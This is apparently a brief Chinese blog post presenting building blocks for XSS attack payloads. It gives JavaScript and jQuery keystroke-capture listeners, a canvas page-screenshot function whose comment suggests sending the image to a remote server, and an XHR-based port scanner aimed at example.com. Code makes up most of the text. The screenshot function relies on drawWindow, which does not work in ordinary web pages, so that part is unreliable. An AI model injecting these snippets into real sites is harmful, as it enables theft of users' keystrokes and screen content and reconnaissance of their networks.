XSS攻击是一种传统的攻击方式,但随着这么多年的技术发现,尤其是在新的技术环境下,有人已经玩出了很多新花样。
在JavaScript中创建键盘记录器通常涉及到监听键盘事件,但是出于隐私和安全的原因,现代浏览器限制了对键盘事件的访问,特别是跨域和在某些情况下,如在HTTPS页面上运行的HTTP脚本,浏览器会阻止键盘事件的监听。
具体实现的伪码如下:
document.addEventListener('keydown', function(event) {
console.log('Key pressed:', event.key);
// 这里可以添加你想要执行的代码
});
document.addEventListener('keyup', function(event) {
console.log('Key released:', event.key);
// 这里可以添加你想要执行的代码
});
document.addEventListener('keypress', function(event) {
console.log('Key pressed and released:', event.key);
// 这里可以添加你想要执行的代码
});
jQuery监听键盘事件与原生JavaScript类似,但使用jQuery可以使得代码更加简洁。以下是使用jQuery来监听键盘事件的示例代码:
$(document).ready(function() {
$(document).keydown(function(event) {
console.log('Key pressed:', event.which); // event.which 返回按键的键码
});
$(document).keyup(function(event) {
console.log('Key released:', event.which);
});
// keypress 事件在按下并释放键时触发,适用于获取字符输入
$(document).keypress(function(event) {
console.log('Key pressed and character input:', String.fromCharCode(event.which));
});
});
在页面加载完成后,为整个页面添加键盘事件的监听器。keydown事件在用户按下键时触发,keyup事件在用户释放键时触发,而keypress事件则在按下键并输入字符时触发。这种方式,要比原生的javascript简洁得多,不同的是,要依赖网页的jQuery类库,或者直接引用云端的jQuery类库。
在HTML5中,可以使用canvas元素和toDataURL方法来实现截图功能。以下演示如何捕获网页上的截图:
function captureFullPage() {
var canvas = document.createElement('canvas');
var context = canvas.getContext('2d');
var width = window.innerWidth;
var height = window.innerHeight;
canvas.width = width;
canvas.height = height;
// 将页面绘制到canvas上
context.drawWindow(window, 0, 0, width, height, 'transparent');
// 将canvas转换为图片数据URL
var imageData = canvas.toDataURL('image/png');
// 处理图片数据URL,如下载或显示
console.log(imageData);//也可以直接发送到远端
}
这样,就会捕获当前视口的整个页面截图。如果需要捕获整个长页面,可能需要滚动页面并多次截图。
使用原生JavaScript和XMLHttpRequest (XHR) 来实现一个简单的端口扫描器:
function scanPort(port, host) {
var url = 'http://' + host + ':' + port + '/test'; // 测试的URL,可以根据需要更改路径
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 0) {
console.log('Port ' + port + ' is closed or blocked by CORS.');
} else if (xhr.status === 200) {
console.log('Port ' + port + ' is open.');
} else {
console.log('Port ' + port + ' responded with status:', xhr.status);
}
}
};
xhr.open('HEAD', url, true);
xhr.send();
}
// 使用示例:扫描example.com的80端口
scanPort(80, 'example.com');
scanPort(8080, 'example.com');
本文共 523 个字数,平均阅读时长 ≈ 2分钟